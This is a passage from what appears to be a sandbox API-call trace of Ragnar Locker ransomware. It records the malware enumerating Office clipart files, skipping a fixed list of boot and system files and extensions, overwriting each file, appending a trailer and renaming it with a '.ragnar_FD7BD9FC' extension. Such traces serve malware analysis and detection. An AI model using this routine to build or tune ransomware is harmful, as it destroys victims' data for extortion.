office\\clipart\\pub60cor\\j0153087.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.017] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153089.WMF", cAlternateFileName="")) returned 1 [0085.017] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.017] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0153089.WMF" | out: lpString1="J0153089.WMF") returned="J0153089.WMF" [0085.017] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned=".WMF" [0085.017] lstrcmpiW (lpString1="J0153089.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.017] lstrcmpiW (lpString1="J0153089.WMF", lpString2="autorun.inf") returned 1 [0085.017] lstrcmpiW (lpString1="J0153089.WMF", lpString2="boot.ini") returned 1 [0085.017] lstrcmpiW (lpString1="J0153089.WMF", lpString2="bootfont.bin") returned 1 [0085.017] lstrcmpiW (lpString1="J0153089.WMF", lpString2="bootsect.bak") returned 1 [0085.017] lstrcmpiW (lpString1="J0153089.WMF", lpString2="bootmgr") returned 1 [0085.017] lstrcmpiW (lpString1="J0153089.WMF", lpString2="bootmgr.efi") returned 1 [0085.017] lstrcmpiW (lpString1="J0153089.WMF", lpString2="bootmgfw.efi") returned 1 [0085.017] lstrcmpiW (lpString1="J0153089.WMF", lpString2="desktop.ini") returned 1 [0085.017] lstrcmpiW (lpString1="J0153089.WMF", lpString2="iconcache.db") returned 1 [0085.017] lstrcmpiW (lpString1="J0153089.WMF", lpString2="ntldr") returned -1 [0085.017] lstrcmpiW (lpString1="J0153089.WMF", lpString2="ntuser.dat") returned -1 [0085.017] lstrcmpiW (lpString1="J0153089.WMF", lpString2="ntuser.dat.log") returned -1 [0085.017] lstrcmpiW (lpString1="J0153089.WMF", lpString2="ntuser.ini") returned -1 [0085.017] lstrcmpiW (lpString1="J0153089.WMF", lpString2="thumbs.db") returned -1 [0085.017] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.017] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.017] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.017] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.017] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.017] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.017] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf")) returned 0x20 [0085.018] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.018] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7848) returned 1 [0085.018] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1e9f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.018] GetProcessHeap () returned 0x580000 [0085.018] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.018] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.022] VirtualAlloc (lpAddress=0x0, dwSize=0x1ea8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.022] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.022] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.022] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1ea8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1ea8, lpOverlapped=0x0) returned 1 [0085.023] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.023] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ea8, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.023] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1ea8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1ea8, lpOverlapped=0x0) returned 1 [0085.023] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ea8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.023] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.023] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1ea8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.024] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.024] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.024] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.024] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.024] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.024] GetProcessHeap () returned 0x580000 [0085.024] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.024] CloseHandle (hObject=0xf4) returned 1 [0085.024] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF" [0085.024] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF.ragnar_FD7BD9FC" [0085.024] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.025] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153091.WMF", cAlternateFileName="")) returned 1 [0085.025] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.025] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0153091.WMF" | out: lpString1="J0153091.WMF") returned="J0153091.WMF" [0085.025] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned=".WMF" [0085.025] lstrcmpiW (lpString1="J0153091.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.025] lstrcmpiW (lpString1="J0153091.WMF", lpString2="autorun.inf") returned 1 [0085.025] lstrcmpiW (lpString1="J0153091.WMF", lpString2="boot.ini") returned 1 [0085.025] lstrcmpiW (lpString1="J0153091.WMF", lpString2="bootfont.bin") returned 1 [0085.025] lstrcmpiW (lpString1="J0153091.WMF", lpString2="bootsect.bak") returned 1 [0085.025] lstrcmpiW (lpString1="J0153091.WMF", lpString2="bootmgr") returned 1 [0085.025] lstrcmpiW (lpString1="J0153091.WMF", lpString2="bootmgr.efi") returned 1 [0085.025] lstrcmpiW (lpString1="J0153091.WMF", lpString2="bootmgfw.efi") returned 1 [0085.025] lstrcmpiW (lpString1="J0153091.WMF", lpString2="desktop.ini") returned 1 [0085.025] lstrcmpiW (lpString1="J0153091.WMF", lpString2="iconcache.db") returned 1 [0085.025] lstrcmpiW (lpString1="J0153091.WMF", lpString2="ntldr") returned -1 [0085.025] lstrcmpiW (lpString1="J0153091.WMF", lpString2="ntuser.dat") returned -1 [0085.025] lstrcmpiW (lpString1="J0153091.WMF", lpString2="ntuser.dat.log") returned -1 [0085.025] lstrcmpiW (lpString1="J0153091.WMF", lpString2="ntuser.ini") returned -1 [0085.025] lstrcmpiW (lpString1="J0153091.WMF", lpString2="thumbs.db") returned -1 [0085.025] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.025] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.025] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.025] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.025] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.025] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.026] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf")) returned 0x20 [0085.026] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.027] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8136) returned 1 [0085.027] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1fbf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.027] GetProcessHeap () returned 0x580000 [0085.027] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.027] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.028] VirtualAlloc (lpAddress=0x0, dwSize=0x1fc8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.028] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.028] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.028] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1fc8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1fc8, lpOverlapped=0x0) returned 1 [0085.029] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.029] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1fc8, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.030] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1fc8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1fc8, lpOverlapped=0x0) returned 1 [0085.030] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fc8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.030] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.030] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1fc8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.030] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.030] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.030] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.030] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.030] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.030] GetProcessHeap () returned 0x580000 [0085.030] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.030] CloseHandle (hObject=0xf4) returned 1 [0085.031] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF" [0085.031] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF.ragnar_FD7BD9FC" [0085.031] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.031] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x22b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153093.WMF", cAlternateFileName="")) returned 1 [0085.031] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.031] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0153093.WMF" | out: lpString1="J0153093.WMF") returned="J0153093.WMF" [0085.031] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned=".WMF" [0085.031] lstrcmpiW (lpString1="J0153093.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.031] lstrcmpiW (lpString1="J0153093.WMF", lpString2="autorun.inf") returned 1 [0085.031] lstrcmpiW (lpString1="J0153093.WMF", lpString2="boot.ini") returned 1 [0085.031] lstrcmpiW (lpString1="J0153093.WMF", lpString2="bootfont.bin") returned 1 [0085.031] lstrcmpiW (lpString1="J0153093.WMF", lpString2="bootsect.bak") returned 1 [0085.031] lstrcmpiW (lpString1="J0153093.WMF", lpString2="bootmgr") returned 1 [0085.031] lstrcmpiW (lpString1="J0153093.WMF", lpString2="bootmgr.efi") returned 1 [0085.031] lstrcmpiW (lpString1="J0153093.WMF", lpString2="bootmgfw.efi") returned 1 [0085.032] lstrcmpiW (lpString1="J0153093.WMF", lpString2="desktop.ini") returned 1 [0085.032] lstrcmpiW (lpString1="J0153093.WMF", lpString2="iconcache.db") returned 1 [0085.032] lstrcmpiW (lpString1="J0153093.WMF", lpString2="ntldr") returned -1 [0085.032] lstrcmpiW (lpString1="J0153093.WMF", lpString2="ntuser.dat") returned -1 [0085.032] lstrcmpiW (lpString1="J0153093.WMF", lpString2="ntuser.dat.log") returned -1 [0085.032] lstrcmpiW (lpString1="J0153093.WMF", lpString2="ntuser.ini") returned -1 [0085.032] lstrcmpiW (lpString1="J0153093.WMF", lpString2="thumbs.db") returned -1 [0085.032] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.032] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.032] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.032] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.032] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.032] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.032] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf")) returned 0x20 [0085.032] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.032] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8880) returned 1 [0085.032] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x22a7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.032] GetProcessHeap () returned 0x580000 [0085.032] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.032] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.034] VirtualAlloc (lpAddress=0x0, dwSize=0x22b0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.034] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.034] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.034] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x22b0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x22b0, lpOverlapped=0x0) returned 1 [0085.035] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.035] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x22b0, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.035] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x22b0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x22b0, lpOverlapped=0x0) returned 1 [0085.035] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x22b0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.036] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.036] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x22b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.036] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.036] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.036] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.036] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.036] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.036] GetProcessHeap () returned 0x580000 [0085.036] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.036] CloseHandle (hObject=0xf4) returned 1 [0085.036] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF" [0085.036] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF.ragnar_FD7BD9FC" [0085.036] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.037] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe78, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153095.WMF", cAlternateFileName="")) returned 1 [0085.037] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.037] 